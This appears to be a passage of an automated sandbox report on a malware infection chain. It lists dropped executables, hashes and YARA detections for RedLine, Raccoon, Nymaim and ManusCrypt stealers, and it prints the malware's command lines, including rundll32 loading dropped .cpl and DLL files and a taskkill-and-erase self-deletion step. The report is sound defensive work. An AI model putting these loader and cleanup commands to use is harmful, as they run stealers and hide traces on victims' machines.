Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: VSVo7xFGZNVBCHvpzHHk7X6w.exePID: 6376, Parent PID: 832

General

Target ID:	15
Start time:	14:02:51
Start date:	02/09/2022
Path:	C:\Users\user\Pictures\Minor Policy\VSVo7xFGZNVBCHvpzHHk7X6w.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Pictures\Minor Policy\VSVo7xFGZNVBCHvpzHHk7X6w.exe"
Imagebase:	0x140000000
File size:	3949568 bytes
MD5 hash:	77D8DF4427C8B1A28C8D2591A9C92A70
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: ze5tCopHgrlItmsTQGIZcUK1.exePID: 6384, Parent PID: 832

General

Target ID:	16
Start time:	14:02:51
Start date:	02/09/2022
Path:	C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe"
Imagebase:	0x970000
File size:	410112 bytes
MD5 hash:	9519C85C644869F182927D93E8E25A33
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: MALWARE_Win_DLInjector06, Description: Detects downloader / injector, Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe, Author: ditekSHen
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: 3IvnW3Tihs6HZPHX18cvdMMt.exePID: 6412, Parent PID: 832

General

Target ID:	17
Start time:	14:02:51
Start date:	02/09/2022
Path:	C:\Users\user\Pictures\Minor Policy\3IvnW3Tihs6HZPHX18cvdMMt.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\Minor Policy\3IvnW3Tihs6HZPHX18cvdMMt.exe"
Imagebase:	0x400000
File size:	2574749 bytes
MD5 hash:	D33F5C381C8A2DC544C313355BA4EB64
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: aJLVqZit29LEEhRpCpbwWX8O.exePID: 6420, Parent PID: 832

General

Target ID:	18
Start time:	14:02:52
Start date:	02/09/2022
Path:	C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe"
Imagebase:	0x400000
File size:	5239600 bytes
MD5 hash:	469B0C97D2AA9A03581536D485BC8864
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000012.00000002.851512502.0000000005100000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000012.00000002.851512502.0000000005100000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000012.00000002.851512502.0000000005100000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000012.00000002.820187744.0000000002A30000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000012.00000002.820187744.0000000002A30000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000012.00000002.820187744.0000000002A30000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000002.836798113.0000000002F99000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000012.00000002.818385151.00000000028C2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000012.00000002.821666339.0000000002C55000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000012.00000003.374746010.0000000000B32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000002.838175058.0000000003002000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: GnPinkNTKlMRD3bjBO0oh3Wa.exePID: 6428, Parent PID: 832

General

Target ID:	19
Start time:	14:02:52
Start date:	02/09/2022
Path:	C:\Users\user\Pictures\Minor Policy\GnPinkNTKlMRD3bjBO0oh3Wa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\Minor Policy\GnPinkNTKlMRD3bjBO0oh3Wa.exe"
Imagebase:	0x400000
File size:	1280000 bytes
MD5 hash:	76000A1A15850FCAA06877E21F7EB348
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: lxZuX__vSUgWYReh9N0WlQOa.exePID: 6436, Parent PID: 832

General

Target ID:	20
Start time:	14:02:52
Start date:	02/09/2022
Path:	C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe"
Imagebase:	0x400000
File size:	86016 bytes
MD5 hash:	2EF8DA551CF5AB2AB6E3514321791EAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: S4FBxlLjDvaMdcwHZaTlWrII.exePID: 6444, Parent PID: 832

General

Target ID:	21
Start time:	14:02:52
Start date:	02/09/2022
Path:	C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe"
Imagebase:	0x400000
File size:	6882816 bytes
MD5 hash:	83FD77104C17653424A3D3894DBE8793
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.540772081.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.460036355.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.521597396.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.530972605.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.465758664.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.517857013.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.489327209.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.520484407.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.543732233.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.473698984.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.475326328.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.526016673.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.487480622.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.469103943.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.480154149.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.436240829.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.523146773.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.417688363.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.504004671.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.541842621.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.483805730.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.446584412.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.444587772.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.529172533.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.467950342.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.477882930.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.429674190.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.511065028.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.446062474.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.533344638.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.419537601.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.472173375.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.470100738.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.527663624.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.524265551.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.481590933.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.476552965.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.518898959.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.515946065.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000003.439004330.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000015.00000002.672920926.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6484, Parent PID: 6436

General

Target ID:	22
Start time:	14:02:53
Start date:	02/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6540, Parent PID: 6428

General

Target ID:	23
Start time:	14:02:54
Start date:	02/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: control.exePID: 6760, Parent PID: 6368

General

Target ID:	24
Start time:	14:03:02
Start date:	02/09/2022
Path:	C:\Windows\SysWOW64\control.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\control.exe" "C:\Users\user\AppData\Local\Temp\VPGy.cpL",
Imagebase:	0xfe0000
File size:	114688 bytes
MD5 hash:	40FBA3FBFD5E33E0DE1BA45472FDA66F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: is-L9EAU.tmpPID: 6772, Parent PID: 6412

General

Target ID:	25
Start time:	14:03:03
Start date:	02/09/2022
Path:	C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp" /SL4 $203DC "C:\Users\user\Pictures\Minor Policy\3IvnW3Tihs6HZPHX18cvdMMt.exe" 2324125 52736
Imagebase:	0x400000
File size:	673792 bytes
MD5 hash:	FEC7BFF4C36A4303ADE51E3ED704E708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: lxZuX__vSUgWYReh9N0WlQOa.exePID: 6904, Parent PID: 6436

General

Target ID:	27
Start time:	14:03:08
Start date:	02/09/2022
Path:	C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe" -h
Imagebase:	0x400000
File size:	86016 bytes
MD5 hash:	2EF8DA551CF5AB2AB6E3514321791EAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6956, Parent PID: 6904

General

Target ID:	28
Start time:	14:03:08
Start date:	02/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 7016, Parent PID: 6760

General

Target ID:	29
Start time:	14:03:09
Start date:	02/09/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\VPGy.cpL",
Imagebase:	0xb80000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 4584, Parent PID: 7016

General

Target ID:	30
Start time:	14:03:20
Start date:	02/09/2022
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\VPGy.cpL",
Imagebase:	0x7ff7c7f50000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 4484, Parent PID: 4584

General

Target ID:	31
Start time:	14:03:21
Start date:	02/09/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\user\AppData\Local\Temp\VPGy.cpL",
Imagebase:	0xb80000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: WmiPrvSE.exePID: 6304, Parent PID: 800

General

Target ID:	33
Start time:	14:03:36
Start date:	02/09/2022
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff676bd0000
File size:	488448 bytes
MD5 hash:	A782A4ED336750D10B3CAF776AFE8E70
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: ccsearcher.exePID: 6328, Parent PID: 6772

General

Target ID:	35
Start time:	14:03:37
Start date:	02/09/2022
Path:	C:\Program Files (x86)\ccSearcher\ccsearcher.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\ccSearcher\ccsearcher.exe"
Imagebase:	0x400000
File size:	4505597 bytes
MD5 hash:	0545F55B7F65691C450919EE98E9C6B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000023.00000002.505991402.0000000000400000.00000040.00000001.01000000.0000001A.sdmp, Author: Joe Security Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000023.00000002.513194138.0000000003530000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 4656, Parent PID: 6304

General

Target ID:	36
Start time:	14:03:38
Start date:	02/09/2022
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\AppData\Local\Temp\db.dll",open
Imagebase:	0x7ff7c7f50000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 2020, Parent PID: 4656

General

Target ID:	37
Start time:	14:03:40
Start date:	02/09/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\AppData\Local\Temp\db.dll",open
Imagebase:	0xb80000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_MSDOS_Stub_Message, Description: Detects suspicious XORed MSDOS stub message, Source: 00000025.00000002.642624118.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_ManusCrypt, Description: Yara detected ManusCrypt, Source: 00000025.00000002.642624118.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_Fabookie, Description: Detects Fabookie / ElysiumStealer, Source: 00000025.00000002.642624118.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Trojan_Generic_a681f24a, Description: unknown, Source: 00000025.00000002.642624118.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_MSDOS_Stub_Message, Description: Detects suspicious XORed MSDOS stub message, Source: 00000025.00000002.649681135.0000000004EB4000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_ManusCrypt, Description: Yara detected ManusCrypt, Source: 00000025.00000002.649681135.0000000004EB4000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Generic_a681f24a, Description: unknown, Source: 00000025.00000002.649681135.0000000004EB4000.00000040.00001000.00020000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 4960, Parent PID: 2020

General

Target ID:	39
Start time:	14:03:48
Start date:	02/09/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k netsvcs -p -s Appinfo
Imagebase:	0x7ff603c50000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_MSDOS_Stub_Message, Description: Detects suspicious XORed MSDOS stub message, Source: 00000027.00000003.469548864.000001DE9CC70000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_ManusCrypt, Description: Yara detected ManusCrypt, Source: 00000027.00000003.469548864.000001DE9CC70000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Generic_a681f24a, Description: unknown, Source: 00000027.00000003.469548864.000001DE9CC70000.00000004.00000001.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_MSDOS_Stub_Message, Description: Detects suspicious XORed MSDOS stub message, Source: 00000027.00000002.782404327.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_ManusCrypt, Description: Yara detected ManusCrypt, Source: 00000027.00000002.782404327.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_Chebka, Description: Detects Chebka, Source: 00000027.00000002.782404327.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Trojan_Generic_a681f24a, Description: unknown, Source: 00000027.00000002.782404327.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_MSDOS_Stub_Message, Description: Detects suspicious XORed MSDOS stub message, Source: 00000027.00000000.476784863.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_ManusCrypt, Description: Yara detected ManusCrypt, Source: 00000027.00000000.476784863.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_Chebka, Description: Detects Chebka, Source: 00000027.00000000.476784863.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Trojan_Generic_a681f24a, Description: unknown, Source: 00000027.00000000.476784863.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 5228, Parent PID: 4960

General

Target ID:	40
Start time:	14:03:56
Start date:	02/09/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k WspService
Imagebase:	0x7ff603c50000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_MSDOS_Stub_Message, Description: Detects suspicious XORed MSDOS stub message, Source: 00000028.00000002.778075729.000001455DF00000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_ManusCrypt, Description: Yara detected ManusCrypt, Source: 00000028.00000002.778075729.000001455DF00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Generic_a681f24a, Description: unknown, Source: 00000028.00000002.778075729.000001455DF00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_MSDOS_Stub_Message, Description: Detects suspicious XORed MSDOS stub message, Source: 00000028.00000002.796293389.000001455E0B4000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_XORed_MSDOS_Stub_Message, Description: Detects suspicious XORed MSDOS stub message, Source: 00000028.00000003.527016675.000001455E0A4000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_XORed_MSDOS_Stub_Message, Description: Detects suspicious XORed MSDOS stub message, Source: 00000028.00000002.800912311.000001456011C000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_XORed_MSDOS_Stub_Message, Description: Detects suspicious XORed MSDOS stub message, Source: 00000028.00000002.800410599.0000014560100000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_XORed_Mozilla, Description: Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., Source: 00000028.00000002.810736997.0000014561240000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_XORed_MSDOS_Stub_Message, Description: Detects suspicious XORed MSDOS stub message, Source: 00000028.00000002.810736997.0000014561240000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_XORed_MSDOS_Stub_Message, Description: Detects suspicious XORed MSDOS stub message, Source: 00000028.00000003.505876759.000001455E0A4000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_XORed_MSDOS_Stub_Message, Description: Detects suspicious XORed MSDOS stub message, Source: 00000028.00000002.780129136.000001455DF70000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_ManusCrypt, Description: Yara detected ManusCrypt, Source: 00000028.00000002.780129136.000001455DF70000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_Chebka, Description: Detects Chebka, Source: 00000028.00000002.780129136.000001455DF70000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Trojan_Generic_a681f24a, Description: unknown, Source: 00000028.00000002.780129136.000001455DF70000.00000040.00001000.00020000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 5292, Parent PID: 6328

General

Target ID:	42
Start time:	14:04:08
Start date:	02/09/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c taskkill /im "ccsearcher.exe" /f & erase "C:\Program Files (x86)\ccSearcher\ccsearcher.exe" & exit
Imagebase:	0x1b0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4880, Parent PID: 5292

General

Target ID:	43
Start time:	14:04:09
Start date:	02/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
